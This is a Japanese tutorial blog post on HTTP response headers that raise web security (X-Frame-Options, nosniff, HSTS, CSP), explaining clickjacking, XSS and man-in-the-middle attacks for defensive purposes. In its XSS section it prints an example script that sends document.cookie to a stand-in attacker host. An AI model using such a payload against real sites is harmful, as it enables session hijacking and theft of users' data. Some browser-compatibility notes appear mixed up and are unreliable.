HTTPレスポンスヘッダによるセキュリティ対策

HTTPレスポンスヘッダにつけることで
セキュリティレベルが向上するヘッダフィールドについてまとめです。

##HTTPヘッダとは？

参考  http://blog.redbox.ne.jp/what-is-cdn4.html

サーバとクライアントが相互に通信を行うための約束事。
HTTPリクエストヘッダとHTTPレスポンスヘッダの2種類があります。

HTTPリクエストヘッダは、その名の通り
「こんな情報がほしい！」というリクエストのこと。

HTTPレスポンスヘッダは、リクエストに対するレスポンスのこと。
200番台は成功、500番台はサーバーエラーといった「レスポンス状態コード」や「HTTPヘッダ」、「データ本体」の3つの構成でできています。

以下、HTTPレスポンスヘッダにつけることで
セキュリティレベルが向上するヘッダフィールドについて書きます。

## X-Frame-Options
:yellow_heart: iFrameを使って他のサイトから自分のサイトが読み込まれないようにするヘッダフィールド。


```
<iframe src="自サイトURL " width="400" height="100">
</iframe>
```

上記が他サイトに書かれても読み込まれなくなります。
クリックジャッキングを防ぎます。

### クリックジャンキングとは

悪意のあるサイト上の特定箇所をクリックさせ、他のサイトの設定情報を変更させることです。
他のサイトは、iframeを使って読み込まれた上で、視覚的に見えなくしてあります。

例えばAさんのサイトAに、以下のような個人情報の設定ができる箇所があった場合。
![image](https://qiita-image-store.s3.amazonaws.com/0/82030/126a6970-6d24-eed4-a5e0-e74d54e6c185.png)

Aさんが一度サイトAにログインした後、ログイン情報を残したまま、悪意のあるサイトBにアクセスするとします。
悪意のあるサイトBに、サイトAが見えない状態で埋め込まれていると…
意図しないまま「全体に公開」ボタンを押してしまう可能性があります。

![Clickjacking.png](https://qiita-image-store.s3.amazonaws.com/0/82030/5f95f744-76cd-942f-e134-1e3be6cbd1af.png)

[参考・画像引用　「クリックジャッキングって？」](http://www.techscore.com/blog/2015/03/05/%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E3%82%B8%E3%83%A3%E3%82%AE%E3%83%B3%E3%82%B0%E3%81%A3%E3%81%A6%EF%BC%9F/)

###設定の種類

DENY：全ドメインで埋め込み禁止
SAMEORIGIN：ページと同一ドメイン内へのみ埋め込み許可
ALLOW-FROM uri：指定されたドメインのみ埋め込み許可

## X-Content-Type-Options
:blue_heart: ファイルの内容からファイルの種類を決定できないようにするヘッダフィールド。
参考　http://ucwd.jp/blog/513

X-Content-Type-Optionsをつけることでcgiに下記を書いた際、違いが出ます。

```
print "<script>alert('TEST')</script>";
```

####X-Content-Type-Options: nosniffをヘッダにつける前
Content-typeを’text/plain’と指定していても
内容からHTMLとして判断されてJavaScriptが実行されてしまいます。

####X-Content-Type-Options: nosniffをヘッダにつけた後
Content-typeを’text/plain’と指定した場合には指定通り
テキストとして<script>alert(‘TEST’)</script>と表示されるようになります。

これによってクロスサイトスクリプティング(XSS)が防止できます。

### クロスサイトスクリプティングとは？

入力フォームに悪意のあるscriptを埋め込むこと。
これによって、個人情報の不正取得などが起こり得ます。

入力フォームにクッキーの情報や個人情報を入力させるフォームを不正に追加し
攻撃者のもとに送ります。

##### クッキーを不正取得する例
httpsample://devil.com/script.cgiが攻撃者のサイト。
```
<script type=”text/javascript” >
document.location=”httpsample://devil.com/script.cgi?cookie=”+document.cookie;
</script>
```

これによって、ログインが必要なサイトに不正ログインしたり、個人情報を取得したりすることができてしまいます。
更に、そのサイトがECサイトだった場合には、そのまま買い物をされてしまいます。

[参考　「バイラルクラブ」](http://viral-community.com/blog/xss-1835/)

## Strict-Transport-Security　
:purple_heart: 設定した期間、連続してhttpsに接続されつづけるヘッダーフィールド。

```
Strict-Transport-Security: max-age=86400

```
上記のヘッダフィールドをつけることで86400秒の期間httpsで接続されるようになります。
httpで接続した時もhttpsにリダイレクトされるようになります。

これにより中間攻撃を防ぐことができます。
具体的には以下のようなことを防ぐことができます。

>あなたは、空港で無料の Wi-Fi アクセスポイントにログインして Web の閲覧を開始し、オンラインバンキングサービスで残高の確認や取引を行います。しかし不運にも、あなたが使用したアクセスポイントはハッカーのノートパソコンであり、そのハッカーはあなたの HTTP リクエストを傍受して、本物の銀行のサイトではなく偽のサイトへリダイレクトしています。これにより、あなたの個人情報はハッカーにさらされてしまいます。

引用元　https://developer.mozilla.org/ja/docs/Web/Security/HTTP_Strict_Transport_Security


## X-XSS-Protection 
:green_heart: XSS攻撃を検知（検知したらストップ！）するヘッダフィールド。

	
## その他ヘッダフィールドのメモ
####X-Content-Security-Policyヘッダ
Chromeバージョン24以前が対応

####X-WebKit-CSPヘッダ
Firefoxバージョン22以前、Internet Explorerバージョン10が対応
####Content-Security-Policyヘッダ
Chromeバージョン25以降、Firefoxバージョン23以降が対応

`default-src 'self' `
同じオリジン（同じURLスキーム、ホスト、ポート番号）からはすべてのコンテンツを読み込むようにしたい場合
`default-src 'self' *.example.com`
 指定したドメインとすべてのサブドメインからのコンテンツを許可したい場合

参考　https://blog.mono0x.net/blog/2012/03/15/content-security-policy/